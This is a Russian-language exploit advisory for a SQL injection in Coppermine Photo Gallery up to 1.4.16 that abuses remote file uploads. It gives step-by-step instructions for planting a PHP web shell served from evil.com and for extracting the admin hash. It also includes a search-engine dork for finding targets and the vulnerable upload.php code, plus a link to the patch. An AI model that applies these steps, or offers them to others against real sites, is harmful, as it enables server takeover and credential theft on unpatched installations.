Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)
2) Продукт: Coppermine Photo Gallery <=1.4.16
3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.
4) Автор: Elekt (bug found April 9, 2008)
5) Тип: удалённая
6) Опасность: 5/10
7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.
8) Эксплоит: способ эксплуатации уязвимости
[1] Shell upload
(1) Заливаем shell.hack и .htaccess на свой сервер
(2) Авторизуйтесь, вам должно быть разрешено заливать файлы
(3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
(4) Удачная загрузка -> Продолжить
(5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php
[2] Admin data
(1) Заливаем exploit.hack и .htaccess на свой сервер
(2) Настраиваем [options] в эксплойте
(2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
(2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
(3) Авторизуйтесь, вам должно быть разрешено заливать файлы
(4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
(5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
(6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
http://forum.coppermine-gallery.net/index.php/topic,51787.0.html
Сам уязвимый код:
/upload.php
PHP код:
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {
cpg_die(ERROR, $lang_errors['perm_denied'], FILE, LINE);
}
$URI_upload_count = count($_POST['URI_array']);
if ($URI_upload_count > 0) {
if(!(eregi('^content-type: ([[:graph:]]+)', $header['wrapper_data'][$i], $MIME_extraction_array))) {
$MIME_result = cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'");